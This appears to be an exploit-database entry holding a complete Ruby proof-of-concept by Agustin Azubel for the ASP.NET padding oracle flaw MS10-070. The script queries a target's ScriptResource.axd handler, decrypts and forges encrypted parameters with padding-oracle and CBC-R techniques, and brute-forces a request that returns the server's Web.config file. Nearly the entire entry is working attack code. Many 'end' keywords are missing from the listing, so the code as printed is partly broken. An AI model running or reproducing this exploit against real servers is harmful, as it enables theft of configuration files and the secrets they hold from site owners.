发布 2010-10-17 漏洞条目

Microsoft ASP.NET – Padding Oracle File Download (MS10-070)

Exploit Source

#!/usr/bin/ruby -w

# aspx_po_chotext_attack.rb

# http://www.ampliasecurity.com

# Agustin Azubel - aazubel@ampliasecurity.com

# MS10-070 ASPX proof of concept

# Decrypt data using Vaudenay's cbc-padding-oracle-side-channel

# Encrypt data using Rizzo-Duong CBC-R technique

# Unless you have express writen permission from the Copyright

# Holder, any use of or distribution of this software or portions of it,

# including, but not limited to, reimplementations, modifications and derived

# work of it, in either source code or any other form, as well as any other

# software using or referencing it in any way, may NOT be sold for commercial

# gain, must be covered by this very same license, and must retain this

# copyright notice and this license.

# Neither the name of the Copyright Holder nor the names of its contributors

# may be used to endorse or promote products derived from this software

# without specific prior written permission.

# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"

# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE

# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR

# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF

# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN

# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)

# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE

# POSSIBILITY OF SUCH DAMAGE.

$debugging = false

require 'net/http'

require 'uri'

require 'rexml/document'

#<require 'xarray'>

module XArray

def hex_inspect

"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"

end

class Array

include XArray

end

#</require 'xarray'>

#<require 'xbase64'>

require 'base64'

class XBase64

def self.encode s

s = Base64.encode64 s

s = s.gsub '+', '-'

s = s.gsub '/', '_'

s = s.gsub "\n", ''

s = s.gsub "\r", ''

s = XBase64.encode_base64_padding s

end

def self.encode_base64_padding s

padding_length = 0

padding_length += 1 while s[-1 - padding_length, 1] == "="

s[0..(-1 - padding_length)] + padding_length.to_s

end

def self.decode s

s = s.gsub '-', '+'

s = s.gsub '_', '/'

s = self.decode_base64_padding s

Base64.decode64 s

end

def self.decode_base64_padding s

padding_length = s[-1,1].to_i

s[0...-1] + ("=" * padding_length)

end

#</require 'xbase64'>

#<require 'xstring'>

module XString

def xor other

raise RuntimeError, "length mismatch" if self.length != other.length

(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join

end

alias ^ :xor

def hex_inspect

printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \

(0x20..0x7e).entries

"[#{length}]" + "\"#{unpack("C*").map { |x|

printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""

end

def to_blocks blocksize

(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}

end

class String

include XString

end

#</require 'xstring'>

#<require 'padding_verification_strategy'>

class PaddingVerificationStrategy

def initialize parameters

@parameters = parameters

end

def valid_padding?

raise RuntimeError, "abstract method !"

end

class ErrorCodeStrategy < PaddingVerificationStrategy

def valid_padding? response

invalid_padding_error_code = @parameters[:invalid_padding_error_code]

not (invalid_padding_error_code == response.code)

end

class BodyLengthStrategy < PaddingVerificationStrategy

def valid_padding? response

invalid_padding_body_length = @parameters[:invalid_padding_body_length]

absolute_error = @parameters[:absolute_error]

not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)

end

class BodyContentStrategy < PaddingVerificationStrategy

def valid_padding?

end

class TimingStrategy < PaddingVerificationStrategy

def valid_padding?

end

#</require 'padding_verification_strategy'>

#<require 'padding_oracle_decryptor'>

class PaddingOracleDecryptor

attr_accessor :blocksize

attr_accessor :d_value

attr_accessor :http

attr_accessor :strategy

def initialize

@tries = 0

@a = []

@decrypted = []

@blocksize = nil

@d_value = nil

@http = nil

@strategy = nil

end

def discover_blocksize_and_oracle_behaviour

puts "discovering blocksize and oracle behaviour..."

[ 16, 8 ].each do |b|

ciphertext = @d_value.clone

ciphertext[-(b * 3)] ^= 0x01

response = http.send_request ciphertext

valid_padding_code = response.code

valid_padding_body_length = response.body.length

0.upto b - 1 do |i|

ciphertext = @d_value.clone

ciphertext[-(b * 2) + i] ^= 0x01

response = http.send_request ciphertext

# puts "code: #{response.code}, length: #{response.body.length}"

# if valid_padding_code != response.code

# puts "padding verification strategy based on error code"

# @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,

# :invalid_padding_code => response.code

# @blocksize = b

# break

# end

if valid_padding_body_length != response.body.length

absolute_error = 200

if (valid_padding_body_length - response.body.length).abs > absolute_error

puts "padding verification strategy based on body length"

@strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length,

:invalid_padding_body_length => response.body.length,

:absolute_error => absolute_error

@blocksize = b

break

end

break if blocksize

end

raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize

puts "discovered blocksize: #{blocksize}"

# blocksize and padding_length leads to automatic tail decryption !

blocksize

end

def valid_padding? response

strategy.valid_padding? response

end

def ask_oracle r

@tries += 1

r = r[1..-1].pack "C" * blocksize

ciphertext = d_value + r + @y

response = http.send_request ciphertext

return 1 if valid_padding? response

return 0

end

def decrypt_last_word

print "last word... "

$stdout.flush

b = blocksize

# 1. pick a few random words r[1],...,r[b] and take i = 0

saved_r = [0]

saved_r += (1..b).map { |i| rand 0xff }

i = 1

loop do

r = saved_r.clone

# 2. pick r = r[1],...,r[b-1],(r[b] xor i)

r[b] = r[b] ^ i

# 3. if O(r|y) = 0 then increment i and go back to the previous step

break if ask_oracle(r) == 1

i += 1

raise "failed!" if i > 0xff

end

# 4. replace r[b] by r[b xor i]

saved_r[b] = saved_r[b] ^ i

# 5. for n = b down to 2 do

# (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b]

# (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n]

b.downto 2 do |n|

r = saved_r.clone

r[b-n+1] = r[b-n+1] ^ 1

if ask_oracle(r) == 0

# puts "lucky #{n}!"

n.downto(1) do |t|

word = r[b-t+1] ^ n

@a[b-t+1] = word

puts "a[#{b-t+1}]: #{word}"

end

return

end

r = saved_r.clone

# 6. output r[b] xor 1

last_word = r[b] ^ 1

@a[blocksize] = last_word

# puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize]

end

def decrypt_ax x

print "a[#{x}]... "

$stdout.flush

b = blocksize

j = x+1

saved_r = [ 0 ]

# 2. pick r[1],...,r[j-1] at random and take i = 0

saved_r += (1..x).map { |i| rand 0xff }

i = 0

# 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b

2.upto b do |k|

saved_r[k] = @a[k] ^ (b - j + 2) if x < k

end

loop do

r = saved_r.clone

# 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b]

r[x] = r[x] ^ i

# 4. if O(r|y) = 0 then increment i and go back to the previous step

break if (ask_oracle r) == 1

i += 1

raise "failed!" if i > 255

end

r = saved_r.clone

# 5. output r[j-1] xor i xor (b - j + 2)

@a[x] = (r[x] ^ i) ^ (b - j + 2)

# puts "\x07a[#{x}]: 0x%02x" % @a[x]

end

def decrypt_block iv, y

@tries = 0

@iv = iv

@y = y

print "decrypting "

$stdout.flush

decrypt_last_word

(blocksize - 1).downto 1 do |j|

decrypt_ax j

end

puts

puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}"

@a.shift

plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack "C*"

plaintext_block

end

def decrypt ciphertext

plaintext_blocks = Array.new

cipher_blocks = ciphertext.to_blocks blocksize

iv = "\x00" * blocksize

cipher_blocks.unshift iv

1.upto cipher_blocks.length - 2 do |i|

plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]

plaintext_blocks.unshift plaintext_block

end

plaintext_blocks.join

end

#</require 'padding_oracle_decryptor'>

class ASPXPaddingOracleChosenCiphertextAttack

attr_reader :uri

attr_reader :filename

attr_reader :filelength

attr_reader :filere

attr_reader :http

attr_reader :d_value

attr_reader :blocksize

attr_reader :axdpath

attr_reader :axdname

attr_reader :decryptor

attr_reader :base_mask

def initialize parameters

@uri = URI.parse parameters[:uri]

@filename = parameters[:filename]

@filelength = parameters[:filelength]

@filere = parameters[:filere]

@http = http_initialize

@d_value = nil

@base_mask = rand 0xffff

@blocksize = nil

@axdpath = nil

@axdname = nil

@decryptor = PaddingOracleDecryptor.new

puts "using target: #{@uri}"

puts "using base_mask: 0x%04x" % @base_mask

end

def http_initialize

http = Net::HTTP.new @uri.host, @uri.port

http

end

def parse_script_tag xml, re

d = nil

doc = REXML::Document.new xml

doc.elements.each 'script' do |e|

src_attribute = e.attributes['src']

md = re.match src_attribute

d = md[1]

break

end

raise RuntimeError, "could not parse script_tag" unless d

end

private :parse_script_tag

def get_ciphertext_sample

puts "starting connection..."

http.start

[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ]

].each do |name, re|

headers = { 'User-Agent' => \

'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

response = http.get uri.path, headers

body = response.body

script_tags = body.lines.select { |x| x.index name }

next if script_tags.empty?

# puts "script tags using #{name} [#{script_tags.length}]:"

# puts script_tags.map { |x| "\t#{x}" }

d = parse_script_tag script_tags[0], re

puts "using script: #{name}"

puts "using d_value: #{d}"

@axdpath = uri.path[0, uri.path.rindex('/')]

@axdname = name

@d_value = ("\x00" * 16) + (XBase64.decode d)

break

end

raise RuntimeError, "could not find any axd sample" unless d_value

decryptor.http = self

decryptor.d_value = d_value

d_value

end

def parse_html_body h, body

parsed = String.new

doc = REXML::Document.new body

doc.elements.each h do |e|

parsed = e.text

break

end

parsed

end

def send_request d

request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"

request['Connection'] = 'Keep-Alive'

@http.request request

end

def decrypt ciphertext

decryptor.decrypt ciphertext

end

def discover_blocksize_and_oracle_behaviour

@blocksize = decryptor.discover_blocksize_and_oracle_behaviour

end

def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks

puts "cipher_blocks.count: #{cipher_blocks.count}"

required_block_count = 1 + new_plaintext_blocks.length + 1

puts "required_block_count: #{required_block_count}"

if required_block_count < cipher_blocks.count then

delta = cipher_blocks.count - required_block_count

puts "removing #{delta} extra blocks..."

cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]

elsif required_block_count > cipher_blocks.count then

delta = required_block_count - cipher_blocks.count

puts "adding #{delta} extra_blocks..."

cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]

end

puts "cipher_blocks.count: #{cipher_blocks.count}"

cipher_blocks

end

private :reallocate_cipher_blocks

def generate_new_plaintext_blocks

tail_padding = "\x01"

head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)

head_padding_length = 0 if head_padding_length == blocksize

head_padding = "\x00" * head_padding_length

new_plaintext = head_padding + @filename + tail_padding

new_plaintext.to_blocks blocksize

end

private :generate_new_plaintext_blocks

def encrypt

puts "encrypting \"#{@filename.hex_inspect}..."

new_plaintext_blocks = generate_new_plaintext_blocks

cipher_blocks = @d_value.to_blocks blocksize

cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks

puts "decrypting #{new_plaintext_blocks.length} blocks..."

(1..new_plaintext_blocks.length).each do |i|

puts "block #{i} of #{new_plaintext_blocks.length}"

old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]

puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}"

cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i]

end

puts "eye candy: decrypting crafted ciphertext"

new_plaintext = decrypt cipher_blocks.join

puts "new_plaintext: #{new_plaintext.hex_inspect}"

@d_value = cipher_blocks.join

end

def discover_escape_sequence

puts "discovering escape sequence..."

escape_sequence_mask = nil

offset = base_mask % (blocksize - 4)

ciphertext = d_value.clone

0x1ffff.times do |mask|

ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

response = send_request ciphertext

print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \

[ mask, response.code, response.body.length ]

next unless response.code == "200"

next if filelength and (response.body.length < filelength)

next if filere and (not filere =~ response.body)

escape_sequence_mask = base_mask + mask

puts

puts "found!"

puts "press any key to show the contents of the file"

$stdin.gets

puts response.body

break

end

raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask

escape_sequence_mask

end

def pause

puts

puts "press any key to start the attack"

$stdin.gets

end

def run

get_ciphertext_sample

pause

discover_blocksize_and_oracle_behaviour

encrypt

discover_escape_sequence

end

puts [ "-------------------------------------------",

"aspx_po_chotext_attack.rb",

"http://www.ampliasecurity.com",

"Agustin Azubel - aazubel@ampliasecurity.com",

"-------------------------------------------",

"\n" ].join "\n"

if ARGV.length != 1 then

$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"

exit

end

begin

parameters = {

:uri => ARGV.first,

:filename => "|||~/Web.config",

:filere => /configuration/

}

x = ASPXPaddingOracleChosenCiphertextAttack.new parameters

x.run

rescue Exception => e

$stderr.puts "Exploit failed: #{e}"

raise if $debugging

end

作者: Agustin Azubel
日期: 2010-10-17
类别: remote
平台: asp

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